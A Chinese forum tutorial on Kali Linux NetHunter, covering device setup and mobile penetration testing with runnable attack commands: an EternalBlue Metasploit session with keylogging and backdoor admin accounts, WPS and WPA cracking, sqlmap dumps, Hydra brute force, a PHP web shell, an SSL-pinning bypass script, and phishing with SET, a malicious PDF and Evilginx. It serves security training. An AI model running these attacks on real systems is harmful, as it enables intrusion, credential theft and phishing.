|
|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
前言
在当今数字化时代,移动设备安全问题日益突出。作为一款基于Android系统的移动渗透测试平台,Kali Linux NetHunter将强大的Kali Linux工具集移植到了移动设备上,使安全研究人员和渗透测试工程师能够随时随地进行安全评估。本文将全面介绍Kali Linux NetHunter的方方面面,从基础环境配置到高级应用技巧,助您成为移动安全测试领域的专家。
1. Kali Linux NetHunter简介
1.1 什么是Kali Linux NetHunter
Kali Linux NetHunter是由Offensive Security开发的一款基于Android的开源移动渗透测试平台。它将完整的Kali Linux工具集移植到移动设备上,并专门针对移动设备安全测试进行了优化。NetHunter支持多种Android设备,包括手机、平板电脑,甚至一些Chromebook。
1.2 NetHunter的主要特点
• 完整的Kali工具集:包含数百种渗透测试工具
• 自定义内核:支持802.11无线注入和USB HID攻击
• 便携性:将强大的渗透测试平台装入口袋
• 多设备支持:支持多种Android设备和架构
• 易于使用的界面:提供直观的图形界面和命令行工具
• 社区支持:拥有活跃的社区和持续的更新
1.3 适用场景
• 无线网络渗透测试
• 移动应用安全评估
• 网络服务安全测试
• 社会工程学演练
• 应急响应和数字取证
• 安全意识培训
2. 环境配置
2.1 系统要求
在开始安装NetHunter之前,需要确保您的设备满足以下基本要求:
• 支持的Android设备(完整列表可在NetHunter官网查询)
• Android系统版本5.0或更高
• 至少4GB的可用存储空间
• 设备需要已解锁Bootloader并安装了自定义恢复(如TWRP)
• 建议设备电池电量充足或连接电源
2.2 准备工作
以Nexus设备为例,解锁Bootloader的步骤如下:
- # 1. 启用开发者选项和USB调试
- # 在设备上:设置 > 关于手机 > 连续点击"版本号"7次
- # 2. 在电脑上安装ADB和Fastboot
- # 在Linux系统上:
- sudo apt update
- sudo apt install android-tools-adb android-tools-fastboot
- # 3. 连接设备并验证
- adb devices
- # 4. 重启到Bootloader
- adb reboot bootloader
- # 5. 解锁Bootloader(注意:此操作会清除设备上的所有数据)
- fastboot oem unlock
- # 或者在较新设备上:
- fastboot flashing unlock
- # 6. 确认解锁并重启设备
- fastboot reboot
复制代码
以TWRP为例:
- # 1. 下载适用于您设备的TWRP镜像文件
- # 例如:wget https://dl.twrp.me/nexus6/twrp-3.3.1-0-shamu.img
- # 2. 重启到Bootloader
- adb reboot bootloader
- # 3. 刷入TWRP
- fastboot flash recovery twrp-3.3.1-0-shamu.img
- # 4. 重启到Recovery模式(不要直接重启系统)
- fastboot reboot recovery
复制代码
2.3 安装Kali NetHunter
访问NetHunter官方网站(https://www.kali.org/get-kali/#kali-mobile)下载适用于您设备的NetHunter镜像文件。通常需要下载以下文件:
• NetHunter ROM(适用于您的设备)
• NetHunter应用程序包
• 可选的NetHunter内核(如果需要)
- # 1. 将下载的文件推送到设备
- adb push nethunter-*.zip /sdcard/
- adb push nethunter-kernel-*.zip /sdcard/
- # 2. 重启到TWRP恢复模式
- adb reboot recovery
- # 3. 在TWRP界面中:
- # - 选择"Install"
- # - 浏览并选择NetHunter ROM文件
- # - 滑动确认安装
- # - (可选)返回并选择NetHunter内核文件
- # - 滑动确认安装
- # - 重启系统
复制代码
2.4 初始设置
安装完成后,在设备的应用程序抽屉中找到并启动NetHunter应用。首次启动时,系统会进行初始化设置。
NetHunter使用chroot技术来运行Kali Linux环境。首次启动时,需要配置chroot环境:
- # 在NetHunter终端中:
- # 1. 启动Kali服务
- nh kservices start
- # 2. 更新软件包列表
- apt update
- # 3. 升级已安装的软件包
- apt upgrade -y
- # 4. 安装额外的工具(可选)
- apt install -y metasploit-framework sqlmap nmap
复制代码
NetHunter支持多种网络配置方式:
- # 1. 启用SSH服务(允许远程连接)
- service ssh start
- # 2. 设置SSH开机自启
- update-rc.d ssh enable
- # 3. 配置VNC服务(用于图形界面访问)
- apt install -y tightvncserver
- vncserver :1 -geometry 1280x720 -depth 24
复制代码
3. 基础功能和工具使用
3.1 NetHunter界面介绍
NetHunter提供了直观的用户界面,主要包括以下几个部分:
• 主屏幕:显示系统状态和快速访问常用功能
• Kali Services:管理Kali Linux服务
• NetHunter App:核心应用程序,提供各种工具和功能
• HID Attacks:USB HID攻击功能
• MANA Evil Portal:恶意门户攻击
• MAC Changer:MAC地址修改工具
• NetHunter Terminal:终端应用
3.2 基本命令和操作
- # 启动Kali环境
- nh kservice start
- # 进入Kali shell
- nh shell
- # 基本Linux命令
- ls -la # 列出文件和目录
- cd /path # 切换目录
- pwd # 显示当前目录
- cp file1 file2 # 复制文件
- mv file1 file2 # 移动/重命名文件
- rm file # 删除文件
- mkdir dir # 创建目录
- rmdir dir # 删除空目录
- rm -rf dir # 强制删除目录及其内容
- # 权限管理
- chmod 755 file # 修改文件权限
- chown user:group file # 修改文件所有者
复制代码- # 更新软件包列表
- apt update
- # 升级所有软件包
- apt upgrade -y
- # 安装新软件包
- apt install -y package_name
- # 搜索软件包
- apt search keyword
- # 查看软件包信息
- apt show package_name
- # 卸载软件包
- apt remove package_name
- # 清理不需要的软件包
- apt autoremove -y
复制代码
3.3 网络扫描与枚举
- # 安装Nmap
- apt install -y nmap
- # 基本端口扫描
- nmap target_ip
- # 全面扫描(所有端口,服务版本检测,OS检测)
- nmap -p- -sV -O target_ip
- # 扫描特定端口
- nmap -p 22,80,443 target_ip
- # TCP SYN扫描(半开放扫描)
- nmap -sS target_ip
- # UDP扫描
- nmap -sU target_ip
- # 扫描整个网络
- nmap 192.168.1.0/24
- # 保存扫描结果
- nmap -oN scan_results.txt target_ip
复制代码- # 安装Netdiscover
- apt install -y netdiscover
- # 主动扫描网络
- netdiscover -r 192.168.1.0/24
- # 被动模式(监听ARP请求)
- netdiscover -p
复制代码
3.4 无线网络渗透测试
- # 检查无线接口
- airmon-ng
- # 启动监控模式(假设无线接口为wlan0)
- airmon-ng start wlan0
- # 验证监控模式接口(通常为wlan0mon)
- iwconfig
复制代码- # 扫描附近的无线网络
- airodump-ng wlan0mon
- # 针对特定网络捕获数据包
- airodump-ng --bssid [目标AP的MAC地址] -c [频道] -w capture wlan0mon
- # 捕获WPS握手包
- airodump-ng --bssid [目标AP的MAC地址] -c [频道] --wps capture wlan0mon
复制代码- # 安装Reaver
- apt install -y reaver
- # 对目标AP进行WPS攻击
- reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -vv
- # 使用Pixie Dust攻击(更快但成功率较低)
- reaver -i wlan0mon -b [目标AP的MAC地址] -c [频道] -K 1 -vv
复制代码
3.5 漏洞扫描
- # 下载Nessus(需要从官方网站下载适合ARM架构的版本)
- wget https://www.tenable.com/downloads/nessus?loginAttempted=true
- # 安装Nessus
- dpkg -i Nessus-*.deb
- # 启动Nessus服务
- /etc/init.d/nessusd start
- # 访问Web界面(https://localhost:8834)进行初始配置
复制代码- # 安装OpenVAS
- apt install -y openvas
- # 初始化OpenVAS
- gvm-setup
- # 启动OpenVAS服务
- gvm-start
- # 访问Web界面(https://localhost:9392)进行扫描
复制代码
4. 中级渗透测试技术
4.1 Metasploit Framework使用
- # 安装Metasploit Framework
- apt install -y metasploit-framework
- # 初始化数据库
- msfdb init
- # 启动Metasploit控制台
- msfconsole
复制代码- # 在msfconsole中:
- # 搜索模块
- search [关键词]
- # 使用特定模块
- use [模块路径]
- # 查看模块选项
- show options
- # 设置选项
- set [选项名] [值]
- # 设置目标
- set RHOSTS [目标IP]
- # 运行模块
- run 或 exploit
- # 查看会话
- sessions -l
- # 与会话交互
- sessions -i [会话ID]
- # 后台当前会话
- background
- # 退出Metasploit
- exit
复制代码- # 启动Metasploit
- msfconsole
- # 搜索相关模块
- search eternalblue
- # 使用该模块
- use exploit/windows/smb/ms17_010_eternalblue
- # 查看模块选项
- show options
- # 设置目标
- set RHOSTS 192.168.1.100
- # 设置载荷
- set payload windows/x64/meterpreter/reverse_tcp
- # 设置监听主机(即您的IP)
- set LHOST 192.168.1.50
- # 运行攻击
- exploit
- # 如果成功,您将获得一个Meterpreter会话
- # 在Meterpreter会话中,您可以执行以下命令:
- # 获取系统信息
- sysinfo
- # 获取用户信息
- getuid
- # 提升权限(如果可能)
- getsystem
- # 查看进程
- ps
- # 迁移到更稳定的进程
- migrate [进程ID]
- # 访问文件系统
- ls
- cd [目录路径]
- download [远程文件] [本地路径]
- upload [本地文件] [远程路径]
- # 启动键盘记录
- keyscan_start
- # 停止键盘记录并查看结果
- keyscan_stop
- keyscan_dump
- # 截取屏幕
- screenshot
- # 获取桌面
- desktop
- # 创建新用户
- net user [用户名] [密码] /add
- # 将用户添加到管理员组
- net localgroup administrators [用户名] /add
- # 启用远程桌面
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- # 退出Meterpreter会话
- exit
复制代码
4.2 Web应用渗透测试
- # 安装SQLMap
- apt install -y sqlmap
- # 基本SQL注入测试
- sqlmap -u "http://example.com/page.php?id=1"
- # 指定数据库类型
- sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql
- # 获取所有数据库
- sqlmap -u "http://example.com/page.php?id=1" --dbs
- # 获取指定数据库的表
- sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] --tables
- # 获取指定表的内容
- sqlmap -u "http://example.com/page.php?id=1" -D [数据库名] -T [表名] --dump
- # 使用POST请求
- sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"
- # 使用Cookie
- sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abcdef123456"
- # 使用User-Agent
- sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)"
- # 设置风险级别
- sqlmap -u "http://example.com/page.php?id=1" --risk=3
- # 设置技术等级
- sqlmap -u "http://example.com/page.php?id=1" --level=5
- # 绕过WAF
- sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment
- # 延迟请求避免检测
- sqlmap -u "http://example.com/page.php?id=1" --delay=2
- # 保存输出到文件
- sqlmap -u "http://example.com/page.php?id=1" -output-dir=/path/to/output
复制代码- # 安装Burp Suite
- # 首先,需要安装Java运行时环境
- apt install -y default-jre
- # 下载Burp Suite Community Edition
- wget -O burpsuite_community.jar https://portswigger.net/burp/releases/download?product=community&version=2023.2.1&type=jar
- # 运行Burp Suite
- java -jar burpsuite_community.jar
- # 配置浏览器代理
- # 在浏览器中设置代理为127.0.0.1:8080
- # 在Burp Suite中:
- # 1. Proxy选项卡 > Intercept > 打开 Intercept
- # 2. 浏览器访问目标网站,Burp将捕获请求
- # 3. 可以修改请求后转发或丢弃
- # 4. 使用Spider功能自动爬取网站
- # 5. 使用Scanner功能自动扫描漏洞
- # 6. 使用Intruder功能进行暴力破解和模糊测试
- # 7. 使用Repeater功能手动重放和修改请求
复制代码- # 安装Nikto
- apt install -y nikto
- # 基本扫描
- nikto -h http://example.com
- # 使用特定端口
- nikto -h http://example.com -p 8080
- # 使用SSL
- nikto -h https://example.com -ssl
- # 指定输出格式
- nikto -h http://example.com -format txt -output scan_results.txt
- # 使用代理
- nikto -h http://example.com -useproxy http://proxy:port
- # 设置用户代理
- nikto -h http://example.com -useragent "Mozilla/5.0"
- # 跟过重定向
- nikto -h http://example.com -follow 1
- # 扫描特定漏洞
- nikto -h http://example.com -Tuning 1
复制代码
4.3 密码攻击
- # 安装John the Ripper
- apt install -y john
- # 基本密码破解(针对密码哈希)
- john password_hashes.txt
- # 指定密码格式
- john --format=md5 password_hashes.txt
- # 使用字典攻击
- john --wordlist=/usr/share/wordlists/rockyou.txt password_hashes.txt
- # 显示已破解的密码
- john --show password_hashes.txt
- # 增量模式(暴力破解)
- john --incremental password_hashes.txt
- # 自定义字符集
- john --incremental:alnum password_hashes.txt
- # 使用规则进行变形
- john --wordlist=/usr/share/wordlists/rockyou.txt --rules password_hashes.txt
复制代码- # 安装Hashcat
- apt install -y hashcat
- # 基本密码破解
- hashcat -m 0 -a 0 hash.txt wordlist.txt
- # 指定哈希类型(-m参数)
- # 常见哈希类型:
- # 0 = MD5
- # 100 = SHA1
- # 1400 = SHA256
- # 1700 = SHA512
- # 1800 = SHA512(Unix)
- # 3200 = bcrypt
- # 9400 = NTLM
- # 例如,破解SHA256哈希
- hashcat -m 1400 -a 0 sha256_hashes.txt wordlist.txt
- # 暴力破解模式
- hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l
- # 掩码攻击(已知部分密码)
- hashcat -m 0 -a 3 hash.txt known?d?d?d
- # 组合攻击(使用多个字典)
- hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt
- # 显示已破解的密码
- hashcat --show hash.txt
- # 恢复中断的会话
- hashcat --session session_name --restore
复制代码- # 安装Hydra
- apt install -y hydra
- # SSH暴力破解
- hydra -L users.txt -P passwords.txt ssh://target_ip
- # FTP暴力破解
- hydra -L users.txt -P passwords.txt ftp://target_ip
- # Web表单暴力破解
- hydra -L users.txt -P passwords.txt target_ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
- # 使用代理
- hydra -L users.txt -P passwords.txt -M targets.txt ssh
- # 设置线程数
- hydra -t 16 -L users.txt -P passwords.txt ssh://target_ip
- # 设置超时时间
- hydra -w 30 -L users.txt -P passwords.txt ssh://target_ip
- # 显示详细输出
- hydra -V -L users.txt -P passwords.txt ssh://target_ip
- # 保存结果到文件
- hydra -o results.txt -L users.txt -P passwords.txt ssh://target_ip
复制代码
5. 高级应用和场景
5.1 移动应用渗透测试
- # 安装MobSF (Mobile Security Framework)
- # 首先,安装Docker
- apt install -y docker.io
- # 启动Docker服务
- systemctl start docker
- systemctl enable docker
- # 下载MobSF Docker镜像
- docker pull opensecurity/mobile-security-framework-mobsf
- # 运行MobSF容器
- docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
- # 访问Web界面 (http://localhost:8000) 上传APK/IPA文件进行分析
复制代码- # 安装Drozer
- apt install -y drozer
- # 启动Drozer服务器
- drozer server start
- # 在Android设备上安装Drozer Agent
- # 下载Drozer Agent APK并安装到Android设备
- # 在设备上启动Drozer Agent并启用"Embedded Server"
- # 连接到Drozer服务器
- drozer console connect
- # 在Drozer控制台中:
- # 列出已安装的包
- dz> run app.package.list
- # 获取应用信息
- dz> run app.package.info -a com.example.app
- # 查看应用攻击面
- dz> run app.package.attacksurface com.example.app
- # 列出导出的活动
- dz> run app.activity.info -a com.example.app
- # 启动导出的活动
- dz> run app.activity.start --component com.example.app com.example.app.MainActivity
- # 列出内容提供者
- dz> run app.provider.info -a com.example.app
- # 扫描SQL注入漏洞
- dz> run scanner.provider.injection -a com.example.app
- # 扫描目录遍历漏洞
- dz> run scanner.provider.traversal -a com.example.app
- # 列出服务
- dz> run app.service.info -a com.example.app
- # 列出广播接收器
- dz> run app.receiver.info -a com.example.app
复制代码- # 安装Frida
- pip install frida-tools
- # 在Android设备上安装Frida Server
- # 下载适用于设备架构的Frida Server
- adb push frida-server /data/local/tmp/
- adb shell "chmod +x /data/local/tmp/frida-server"
- adb shell "/data/local/tmp/frida-server &"
- # 检查Frida是否正常运行
- frida-ps -U
- # 使用Frida脚本Hook方法
- # 创建一个JavaScript脚本,例如hook.js:
- /*
- console.log("Script loaded successfully");
- Java.perform(function() {
- var MainActivity = Java.use("com.example.app.MainActivity");
-
- MainActivity.onClick.implementation = function(v) {
- console.log("onClick called");
- console.log("Arguments: " + v);
-
- // 调用原始方法
- this.onClick(v);
-
- // 修改返回值或执行其他操作
- }
- });
- */
- # 运行Frida脚本
- frida -U -l hook.js -f com.example.app
- # 使用Frida跟踪方法调用
- frida-trace -U -i "Java.*" com.example.app
- # 使用Frida拦截SSL证书验证
- # 创建一个ssl_pinning_bypass.js脚本:
- /*
- setTimeout(function() {
- Java.perform(function() {
- console.log("");
- console.log("[.] SSL Pinning Bypass/Re-Pinning");
-
- var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
- var FileInputStream = Java.use("java.io.FileInputStream");
- var BufferedInputStream = Java.use("java.io.BufferedInputStream");
- var X509Certificate = Java.use("java.security.cert.X509Certificate");
- var KeyStore = Java.use("java.security.KeyStore");
- var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
- var SSLContext = Java.use("javax.net.ssl.SSLContext");
-
- // Load CAs from an InputStream
- console.log("[+] Loading CAs...");
- var cf = CertificateFactory.getInstance("X.509");
-
- try {
- var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts/bks");
- } catch (err) {
- console.log(err);
- console.log("[+] Using alternative CA...");
- var fileInputStream = FileInputStream.$new("/system/etc/security/cacerts");
- }
-
- var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
- var ca = cf.generateCertificate(bufferedInputStream);
- bufferedInputStream.close();
-
- var certArray = Java.array("java.security.cert.X509Certificate", [ca]);
- console.log("[+] Our CA: " + ca.getSubjectDN());
-
- // Create a KeyStore containing our trusted CAs
- console.log("[+] Creating a KeyStore for our CA...");
- var keyStoreType = KeyStore.getDefaultType();
- var keyStore = KeyStore.getInstance(keyStoreType);
- keyStore.load(null, null);
- keyStore.setCertificateEntry("ca", ca);
-
- // Create a TrustManager that trusts the CAs in our KeyStore
- console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
- var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
- var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
- tmf.init(keyStore);
-
- console.log("[+] Our TrustManager is ready...");
-
- console.log("[+] Hijacking SSLContext methods now...");
- console.log("[-] Waiting for the app to invoke SSLContext.init()...");
-
- SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(keyManager, trustManager, secureRandom) {
- console.log("[+] App invoked SSLContext.init()...");
- console.log("[+] Hijacking TrustManagers...");
- SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, keyManager, tmf.getTrustManagers(), secureRandom);
- console.log("[+] Our TrustManagers are initialized.");
- };
-
- console.log("[+] SSL Pinning Bypass is ready.");
- });
- }, 0);
- */
- # 运行SSL Pinning绕过脚本
- frida -U -l ssl_pinning_bypass.js -f com.example.app --no-pause
复制代码
5.2 社会工程学攻击
- # 安装SET
- apt install -y set
- # 启动SET
- setoolkit
- # 在SET菜单中选择:
- # 1) Social-Engineering Attacks
- # 2) Website Attack Vectors
- # 3) Credential Harvester Attack Method
- # 4) Site Cloner
- # 然后输入要克隆的网站URL和您的IP地址
- # 或者使用命令行选项:
- setoolkit --website-attack
- setoolkit --webattack
- setoolkit --webattack harvester
- setoolkit --webattack harvester site-clone
复制代码- # 启动Metasploit
- msfconsole
- # 使用社会工程学模块
- use exploit/multi/fileformat/adobe_pdf_embedded_exe_nojs
- # 设置选项
- set FILENAME document.pdf
- set INFILENAME /usr/share/doc/adobe-pdf/embedded_exe.pdf
- set EXENAME payload.exe
- set OUTPUTPATH /root/
- # 生成恶意PDF文件
- exploit
- # 或者使用钓鱼攻击模块
- use auxiliary/spoof/email/send_email
- # 设置选项
- set FROM security@company.com
- set TO target@example.com
- set SUBJECT "Important Security Update"
- set BODY "Please open the attached document for important security updates."
- set ATTACHMENT /root/document.pdf
- # 发送钓鱼邮件
- exploit
复制代码- # 安装Evilginx
- # 首先,安装Go
- apt install -y golang
- # 设置Go环境变量
- export GOPATH=$HOME/go
- export PATH=$PATH:$GOPATH/bin
- # 安装Evilginx
- go install github.com/kgretzky/evilginx@latest
- # 创建配置目录
- mkdir -p ~/.evilginx
- # 下载示例配置
- wget https://raw.githubusercontent.com/kgretzky/evilginx/master/samples/phishlets/linkedin.yaml -O ~/.evilginx/linkedin.yaml
- # 启动Evilginx
- evilginx
- # 在Evilginx控制台中:
- # 配置域名
- config domain evil.example.com
- # 加载钓鱼页面
- phishlets hostname linkedin evil.example.com
- # 启动钓鱼页面
- phishlets enable linkedin
- # 查看会话
- sessions
- # 获取捕获的凭证
- sessions [session_id]
复制代码
5.3 网络流量分析
- # 安装Wireshark
- apt install -y wireshark
- # 启动Wireshark图形界面
- wireshark
- # 或者使用tshark命令行工具
- # 安装tshark
- apt install -y tshark
- # 捕获所有网络接口上的流量
- tshark -i any
- # 捕获特定接口上的流量
- tshark -i wlan0
- # 捕获特定端口的流量
- tshark -i wlan0 -f "port 80 or port 443"
- # 保存捕获的数据包到文件
- tshark -i wlan0 -w capture.pcap
- # 读取保存的数据包文件
- tshark -r capture.pcap
- # 显示捕获的数据包的详细信息
- tshark -V -r capture.pcap
- # 过滤特定协议的数据包
- tshark -r capture.pcap -Y "http"
- # 提取HTTP请求
- tshark -r capture.pcap -Y "http.request" -T fields -e http.request.uri
- # 提取HTTP响应
- tshark -r capture.pcap -Y "http.response" -T fields -e http.response.code
- # 提取DNS查询
- tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
- # 统计流量
- tshark -r capture.pcap -q -z io,stat,1
复制代码- # 安装tcpdump
- apt install -y tcpdump
- # 捕获所有网络接口上的流量
- tcpdump -i any
- # 捕获特定接口上的流量
- tcpdump -i wlan0
- # 捕获特定数量的数据包
- tcpdump -c 100 -i wlan0
- # 捕获特定端口的流量
- tcpdump -i wlan0 port 80
- # 捕获特定主机的流量
- tcpdump -i wlan0 host 192.168.1.100
- # 捕获特定协议的流量
- tcpdump -i wlan0 icmp
- # 保存捕获的数据包到文件
- tcpdump -i wlan0 -w capture.pcap
- # 读取保存的数据包文件
- tcpdump -r capture.pcap
- # 显示数据包的十六进制和ASCII内容
- tcpdump -i wlan0 -X
- # 显示数据包的详细信息
- tcpdump -i wlan0 -v
- # 过滤特定源IP的流量
- tcpdump -i wlan0 src 192.168.1.100
- # 过滤特定目的IP的流量
- tcpdump -i wlan0 dst 192.168.1.100
- # 过滤特定源端口的流量
- tcpdump -i wlan0 src port 80
- # 过滤特定目的端口的流量
- tcpdump -i wlan0 dst port 80
- # 组合过滤条件
- tcpdump -i wlan0 src 192.168.1.100 and dst port 80
复制代码- # 安装NetworkMiner(需要Mono运行时环境)
- # 首先,安装Mono
- apt install -y mono-complete
- # 下载NetworkMiner
- wget https://www.netresec.com/?download=NetworkMiner
- # 解压NetworkMiner
- unzip NetworkMiner_*_*.zip
- # 运行NetworkMiner
- mono NetworkMiner.exe
- # 在NetworkMiner中:
- # 1. 打开捕获的数据包文件(File > Open PCAP file)
- # 2. 查看提取的文件(Files选项卡)
- # 3. 查看主机信息(Hosts选项卡)
- # 4. 查看会话信息(Sessions选项卡)
- # 5. 查看凭证信息(Credentials选项卡)
- # 6. 查看DNS查询(DNS选项卡)
- # 7. 查看消息(Messages选项卡)
复制代码
6. 实战案例
6.1 无线网络渗透测试案例
某公司要求对其办公区域的无线网络进行安全评估,以检测潜在的安全漏洞和风险。
- # 1. 信息收集
- # 启动无线网卡监控模式
- airmon-ng start wlan0
- # 扫描周围的无线网络
- airodump-ng wlan0mon
- # 记录目标网络信息:
- # - ESSID: Company_WiFi
- # - BSSID: 00:11:22:33:44:55
- # - 频道: 6
- # - 加密: WPA2
- # 2. 捕获握手包
- # 针对目标网络捕获数据包
- airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
- # 在另一个终端,进行去认证攻击以加速握手包捕获
- aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
- # 3. 密码破解
- # 使用字典攻击破解WPA2密码
- aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
- # 4. WPS攻击
- # 检查目标网络是否启用WPS
- wash -i wlan0mon
- # 如果启用WPS,使用Reaver进行攻击
- reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -vv
- # 5. 连接到网络并进行内部测试
- # 连接到网络
- nmcli dev wifi connect Company_WiFi password cracked_password
- # 扫描内部网络
- nmap -sn 192.168.1.0/24
- # 对发现的设备进行端口扫描
- nmap -sV -O 192.168.1.1-100
- # 6. 生成报告
- # 将所有发现和结果整理成报告
复制代码
通过测试发现以下安全问题:
1. WPA2密码较弱,容易被字典攻击破解
2. WPS功能启用,存在PIN码暴力破解风险
3. 内部网络设备存在未授权访问风险
4. 部分设备运行过时软件,存在已知漏洞
1. 更改无线网络密码为强密码(至少12位,包含大小写字母、数字和特殊字符)
2. 禁用WPS功能
3. 实施网络隔离,将访客网络与内部网络分离
4. 定期更新设备固件和软件
5. 实施网络访问控制(NAC)解决方案
6.2 Web应用渗透测试案例
某电子商务公司要求对其网站进行安全评估,以检测潜在的安全漏洞和风险。
- # 1. 信息收集
- # 使用Nmap扫描目标服务器
- nmap -sV -O -p- 192.168.1.100
- # 使用DirBuster扫描目录和文件
- dirb http://example.com
- # 使用WhatWeb识别技术栈
- whatweb http://example.com
- # 2. 漏洞扫描
- # 使用Nikto扫描Web服务器
- nikto -h http://example.com
- # 使用SQLMap扫描SQL注入漏洞
- sqlmap -u "http://example.com/product.php?id=1" --batch --level=5 --risk=3
- # 使用OWASP ZAP进行自动化扫描
- # 启动OWASP ZAP
- zap.sh
- # 配置浏览器代理为127.0.0.1:8080
- # 浏览目标网站
- # 在ZAP中执行自动扫描
- # 3. 手动测试
- # 测试XSS漏洞
- # 在搜索框中输入:<script>alert('XSS')</script>
- # 测试文件上传漏洞
- # 尝试上传PHP Web Shell
- <?php system($_GET['cmd']); ?>
- # 测试权限绕过
- # 尝试访问管理页面:http://example.com/admin
- # 尝试常见凭据:admin/admin, admin/password, admin/123456
- # 4. 利用漏洞
- # 如果发现SQL注入,使用SQLMap获取数据
- sqlmap -u "http://example.com/product.php?id=1" --dbs
- sqlmap -u "http://example.com/product.php?id=1" -D db_name --tables
- sqlmap -u "http://example.com/product.php?id=1" -D db_name -T users --dump
- # 如果发现文件上传漏洞,尝试获取Web Shell
- # 上传Web Shell后访问:
- http://example.com/uploads/shell.php?cmd=id
- # 尝试提权
- # 使用LinEnum.sh脚本进行信息收集
- wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
- chmod +x LinEnum.sh
- ./LinEnum.sh
- # 5. 生成报告
- # 将所有发现和结果整理成报告
复制代码
通过测试发现以下安全问题:
1. 存在SQL注入漏洞,可能导致数据库信息泄露
2. 存在存储型XSS漏洞,可能导致用户会话劫持
3. 文件上传功能存在安全限制绕过,可能导致远程代码执行
4. 管理面板存在弱密码,可能导致未授权访问
5. 服务器配置不当,存在信息泄露风险
1. 实施输入验证和参数化查询,防止SQL注入攻击
2. 实施输出编码,防止XSS攻击
3. 加强文件上传功能的安全限制,检查文件类型和内容
4. 实施强密码策略和多因素认证
5. 定期进行安全配置审查和漏洞扫描
6.3 移动应用渗透测试案例
某金融公司要求对其Android应用进行安全评估,以检测潜在的安全漏洞和风险。
- # 1. 应用静态分析
- # 使用MobSF分析APK文件
- # 启动MobSF
- docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
- # 上传APK文件进行分析
- # 使用Apktool反编译APK
- apktool d app.apk
- # 查看AndroidManifest.xml文件
- cat app/AndroidManifest.xml
- # 查看源代码
- # 使用dex2jar将DEX文件转换为JAR
- d2j-dex2jar app.apk
- # 使用JD-GUI查看JAR文件
- jd-gui app-dex2jar.jar
- # 2. 应用动态分析
- # 安装应用到Android设备
- adb install app.apk
- # 启动Drozer服务器
- drozer server start
- # 在Android设备上安装Drozer Agent
- adb install drozer-agent.apk
- # 连接到Drozer服务器
- drozer console connect
- # 列出已安装的包
- dz> run app.package.list
- # 获取应用信息
- dz> run app.package.info -a com.company.app
- # 查看应用攻击面
- dz> run app.package.attacksurface com.company.app
- # 列出导出的组件
- dz> run app.activity.info -a com.company.app
- dz> run app.provider.info -a com.company.app
- dz> run app.service.info -a com.company.app
- dz> run app.receiver.info -a com.company.app
- # 测试SQL注入漏洞
- dz> run scanner.provider.injection -a com.company.app
- # 测试目录遍历漏洞
- dz> run scanner.provider.traversal -a com.company.app
- # 3. 网络流量分析
- # 设置Burp Suite代理
- # 在Android设备上配置Wi-Fi代理为Burp Suite的IP和端口
- # 安装Burp Suite证书
- # 在Android设备上访问 http://burp/cert 并安装证书
- # 启动应用并观察网络流量
- # 4. 使用Frida进行Hook
- # 在Android设备上启动Frida Server
- adb shell "/data/local/tmp/frida-server &"
- # 编写Frida脚本Hook敏感函数
- # 例如,Hook加密函数:
- /*
- Java.perform(function() {
- var Crypto = Java.use("javax.crypto.Cipher");
-
- Crypto.doFinal.implementation = function(input) {
- console.log("Cipher.doFinal called");
- console.log("Input: " + bytesToHex(input));
-
- var result = this.doFinal(input);
-
- console.log("Output: " + bytesToHex(result));
- return result;
- };
-
- function bytesToHex(bytes) {
- return Array.from(bytes, function(byte) {
- return ('0' + (byte & 0xFF).toString(16)).slice(-2);
- }).join('');
- }
- });
- */
- # 运行Frida脚本
- frida -U -l hook.js -f com.company.app --no-pause
- # 5. 生成报告
- # 将所有发现和结果整理成报告
复制代码
通过测试发现以下安全问题:
1. 应用使用硬编码的API密钥和敏感信息
2. 存在不安全的导出组件,可能导致组件劫持攻击
3. 内容提供者存在SQL注入漏洞,可能导致数据泄露
4. 应用使用不安全的HTTP通信,可能导致中间人攻击
5. 应用使用弱加密算法,可能导致数据解密
1. 移除硬编码的敏感信息,使用安全存储机制
2. 限制导出组件的访问权限,实施适当的访问控制
3. 使用参数化查询防止SQL注入攻击
4. 强制使用HTTPS通信,实施证书锁定
5. 使用强加密算法和安全随机数生成器
7. 安全注意事项和道德规范
7.1 法律和道德考虑
在进行渗透测试时,必须遵守以下法律和道德准则:
1. 获得授权:始终获得目标系统的明确书面授权
2. 遵守法律:确保所有测试活动符合当地法律法规
3. 尊重隐私:仅收集必要的信息,保护个人隐私
4. 避免损害:避免对目标系统造成不必要的损害或中断
5. 保密原则:对测试过程中获取的信息严格保密
6. 专业行为:保持专业态度,避免恶意行为
